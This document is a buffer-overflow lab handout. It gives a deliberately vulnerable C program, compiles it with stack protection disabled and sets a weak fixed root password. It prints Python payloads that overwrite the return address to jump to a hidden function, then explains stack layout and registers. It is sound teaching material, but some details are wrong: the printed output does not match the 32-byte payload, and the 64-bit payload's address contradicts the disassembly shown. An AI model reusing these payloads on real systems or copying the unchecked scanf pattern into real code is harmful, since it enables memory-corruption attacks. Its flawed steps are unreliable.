Buffer Overflow Attack

1. Lab Environment setting
   1.1. Install Kali Linux.
       1.1.1. Watch the installation tutorial at https://www.youtube.com/watch?v=GpTIM9OroIY
       1.1.2. Set the root account as:
               - Username: root
               - Password: dees

2. Create a c Program with Buffer Overflow Vulnerability
   2.1. mkdir bof. You may want to create a folder using
   2.2. gedit vuln.c

```c
#include <stdio.h>

void secretFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the secret function!\n");
}

void echo()
{
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    echo();
    return 0;
}
```

2.3. The goal of the lab is to invoke the function secretFunction.

3. Compile and Execution
   3.1. Compile with protection model off

   ```
   root@kali:~/bof# gcc vuln.c -o vuln -fno-stack-protector -m32
   ```

   3.2. (Optional) Handle error message.
3.2.1. If you see the following message

```
root@kali:~:/bof# gcc vuln.c -o vuln -fno-stack-protector -m32
In file included from /usr/include/stdio.h:27:0,
    from vuln.c:1:
/usr/include/features.h:364:25: fatal error: sys/cdefs.h: No such file or directory
# include <sys/cdefs.h>
^
compilation terminated.
```

3.2.2. Download additional library

```
root@kali:~:/bof# sudo apt-get install g++-multilib
```

3.2.3. Recompile it

```
root@kali:~:/bof# gcc vuln.c -o vuln -fno-stack-protector -m32
```

4. Exploit the binary

4.1. Type the command.

```
root@kali:~:/bof# objdump -d vuln
```

4.2. Running results
5. Attack

5.1. Type the following command.

```
root@kali:~/bof# python -c 'print "a"*32 + "\x6b\x84\x04\x08"' | ./vuln
```

Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Congratulations!
You have entered in the secret function!
Segmentation fault

5.2. Questions

5.2.1. Describe your observation.

5.2.2. Where does the number 32 come from?

5.2.3. What does the print “a”+32 mean?

5.2.4. What does \x6b\x84\x04\x08 mean?
Buffer Overflow: How It Works

Memory Layout of a C program

1. **Command line arguments and environment variables**: The arguments passed to a program before running and the environment variables are stored in this section.

2. **Stack**: This is the place where all the function parameters, return addresses and the local variables of the function are stored. It’s a LIFO structure. It grows downward in memory (from higher address space to lower address space) as new function calls are made. We will examine the stack in more detail later.

3. **Heap**: All the dynamically allocated memory resides here. Whenever we use `malloc` to get memory dynamically, it is allocated from the heap. The heap grows upwards in memory (from lower to higher memory addresses) as more and more memory is required.

4. **Uninitialized data (Bss Segment)**: All the uninitialized data is stored here. This consists of all global and static variables which are not initialized by the programmer. The kernel initializes them to arithmetic 0 by default.

5. **Initialized data (Data Segment)**: All the initialized data is stored here. This consists of all global and static variables which are initialized by the programmer.

6. **Text**: This is the section where the executable code is stored. The loader loads instructions from here and executes them. It is often read only.

Some common registers

1. **%eip**: The Instruction pointer register. It stores the address of the next instruction to be executed. After every instruction execution it’s value is incremented depending upon the size of an instruction.

2. **%esp**: The Stack pointer register. It stores the address of the top of the stack. This is the address of the last element on the stack. The stack grows downward in memory (from higher address values to lower address values). So the %esp points to the value in stack at the lowest memory address.

3. **%ebp**: The Base pointer register. The %ebp register usually set to %esp at the start of the function. This is done to keep tab of function parameters and local variables. Local variables are accessed by
subtracting offsets from %ebp and function parameters are accessed by adding offsets to it as you shall see in the next section

Memory management during function calls

Consider the following piece of code:

```c
void func(int a, int b)
{
    int c;
    int d;
    // some code
}
void main()
{
    func(1, 2);
    // next instruction
}
```

Assume our %eip is pointing to the func call in main. The following steps would be taken:

1. A function call is found, push parameters on the stack from right to left (in reverse order). So 2 will be pushed first and then 1.
2. We need to know where to return after func is completed, so push the address of the next instruction on the stack.
3. Find the address of func and set %eip to that value. The control has been transferred to func.
4. As we are in a new function we need to update %ebp. Before updating we save it on the stack so that we can return later back to main. So %ebp is pushed on the stack.
5. Set %ebp to be equal to %esp. %ebp now points to current stack pointer.
6. Push local variables onto the stack/reserver space for them on stack. %esp will be changed in this step.
7. After func gets over we need to reset the previous stack frame. So set %esp back to %ebp. Then pop the earlier %ebp from stack, store it back in %ebp. So the base pointer register points back to where it pointed in main.
8. Pop the return address from stack and set %eip to it. The control flow comes back to main, just after the func function call.

This is how the stack would look while in func.
<table>
<thead>
<tr>
<th>( 2 )</th>
<th>(-- %ebp)</th>
</tr>
</thead>
<tbody>
<tr>
<td>( 1 )</td>
<td>(-- %esp)</td>
</tr>
<tr>
<td>(&lt;\text{return address}&gt;)</td>
<td></td>
</tr>
<tr>
<td>(&lt;%ebp\ \text{of} \ main())</td>
<td></td>
</tr>
<tr>
<td>(&lt;\text{space for 'c'&gt;})</td>
<td></td>
</tr>
<tr>
<td>(&lt;\text{space for 'd'})</td>
<td></td>
</tr>
</tbody>
</table>
Source Code

//vuln.c

#include <stdio.h>

void secretFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the secret function!\n");
}

void echo()
{
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    echo();
    return 0;
}
Possible Problem:
If you use 64bits machine. You will see something like this:

```
00000000004005f6 <secretfunction>:
4005f6: 55 push %rbp
4005f7: 48 89 e5 mov %rsp,%rbp
4005fa: bf f8 06 40 00 mov $0x4006f8,%edi
4005ff: e8 ac fe ff ff callq 4004b0 <puts@plt>
400604: bf 10 07 40 00 mov $0x400710,%edi
400609: e8 a2 fe ff ff callq 4004b0 <puts@plt>
40060e: 90 nop
40060f: 5d pop %rbp
400610: c3 retq

0000000000400611 <echo>:
400611: 55 push %rbp
400612: 48 89 e5 mov %rsp,%rbp
400615: 48 83 ec 20 sub $0x20,%rsp
400619: bf 10 07 40 00 mov $0x400739,%edi
40061e: e8 a2 fe ff ff callq 4004b0 <puts@plt>
400623: 48 8d 45 e0 lea -0x20(%rbp),%rax
```

How to fix?

You need to use 32 (0x20) +8=40 then it came right as its 64 bit=8byte for register

```
python -c 'print "a"*40 + "\x06\x05\x40\x00\x00\x00\x00\x00\x00\x00"' | ./vuln
```
Reference

- http://www.cis.syr.edu/~wedu/seed/lab_env.html
- https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/